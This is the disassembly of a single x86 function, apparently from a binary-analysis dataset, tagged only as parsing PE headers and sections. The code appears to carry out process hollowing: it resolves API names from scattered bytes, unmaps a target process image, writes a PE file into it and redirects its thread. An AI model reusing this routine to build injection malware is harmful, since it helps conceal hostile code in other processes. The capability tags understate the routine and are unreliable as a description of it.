Function at 0x402290
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
push 0x408137
push 0x408138
push 0x408139
push 0x40813a
push 0x40813c
push 0x408150
push 0x40b074
call fcn.00401cd0
add esp, 0x1c
push 0x40813b
push 0x40814d
push 0x40814e
push 0x408158
push 0x408168
push 0x40b034
call fcn.00401cd0
add esp, 0x18
push str.E_b_
push 0x408155
push 0x408170
push 0x408180
push 0x40b000
call fcn.00401cd0
add esp, 0x14
push 0x408156
push 0x408157
push 0x408165
push 0x408166
push 0x408167
push 0x408188
push 0x408198
push 0x40b094
call fcn.00401cd0
add esp, 0x20
push 0x40816d
push 0x40816e
push 0x40816f
push 0x4081a0
push 0x4081ac
push 0x40b0b4
call fcn.00401cd0
add esp, 0x18
push 0x40817e
push 0x40817f
push 0x408186
push 0x4081b4
push 0x4081c4
push 0x40afe0
call fcn.00401cd0
add esp, 0x18
push 0x408187
push 0x408195
push 0x4081cc
push 0x4081d8
push 0x40b054
call fcn.00401cd0
add esp, 0x14
push 0x40b094
mov eax, dword [0x40afdc]
push eax
call dword [section..rdata]
mov dword [0x40b02c], eax
push 0x40b0b4
mov ecx, dword [0x40afdc]
push ecx
call dword [section..rdata]
mov dword [ebp - 8], eax
push 0x40afe0
mov edx, dword [0x40afdc]
push edx
call dword [section..rdata]
mov dword [ebp - 0xc], eax
push 0x40b000
mov eax, dword [0x40afdc]
push eax
call dword [section..rdata]
mov dword [ebp - 0x10], eax
push 0x40b074
mov ecx, dword [0x40afdc]
push ecx
call dword [section..rdata]
mov dword [0x40b030], eax
mov dword [0x40af98], 0x44
mov dword [0x40acc8], 0x10007
mov edx, dword [ebp + 0xc]
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x28]
movzx ecx, word [eax]
cmp ecx, 0x5a4d
je 0x40244d
xor al, al
jmp 0x40255b
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp + 0xc]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
cmp dword [ecx], 0x4550
je 0x40246b
xor al, al
jmp 0x40255b
lea edx, [ebp - 0x24]
push edx
push 0x40af98
call fcn.00401c60
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax + 0x34]
push ecx
mov edx, dword [ebp - 0x24]
push edx
call dword [0x40b028]
push 0
push 0x3000
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax + 0x50]
push ecx
mov edx, dword [ebp - 0x14]
mov eax, dword [edx + 0x34]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call fcn.00401c00
push 0
mov edx, dword [ebp - 0x14]
mov eax, dword [edx + 0x54]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 0x14]
mov eax, dword [edx + 0x34]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call dword [0x40b030]
mov dword [ebp - 0x2c], 0
jmp 0x4024d8
mov edx, dword [ebp - 0x2c]
add edx, 1
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x14]
movzx ecx, word [eax + 6]
cmp dword [ebp - 0x2c], ecx
jge 0x402529
mov edx, dword [ebp - 0x28]
mov eax, dword [edx + 0x3c]
mov ecx, dword [ebp - 0x2c]
imul ecx, ecx, 0x28
add ecx, dword [ebp + 0xc]
lea edx, [ecx + eax + 0xf8]
mov dword [ebp - 4], edx
push 0
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x10]
push ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 0xc]
add eax, dword [edx + 0x14]
push eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ecx + 0x34]
mov eax, dword [ebp - 4]
add edx, dword [eax + 0xc]
push edx
mov ecx, dword [ebp - 0x24]
push ecx
call dword [0x40b030]
jmp 0x4024cf
push 0x40acc8
mov edx, dword [ebp - 0x20]
push edx
call dword [ebp - 0xc]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax + 0x28]
push ecx
push 0x400000
call fcn.00401c40
push 0x40acc8
mov edx, dword [ebp - 0x20]
push edx
call dword [ebp - 0x10]
mov eax, dword [ebp - 0x20]
push eax
call dword [ebp - 8]
xor al, al
mov esp, ebp
pop ebp
ret 8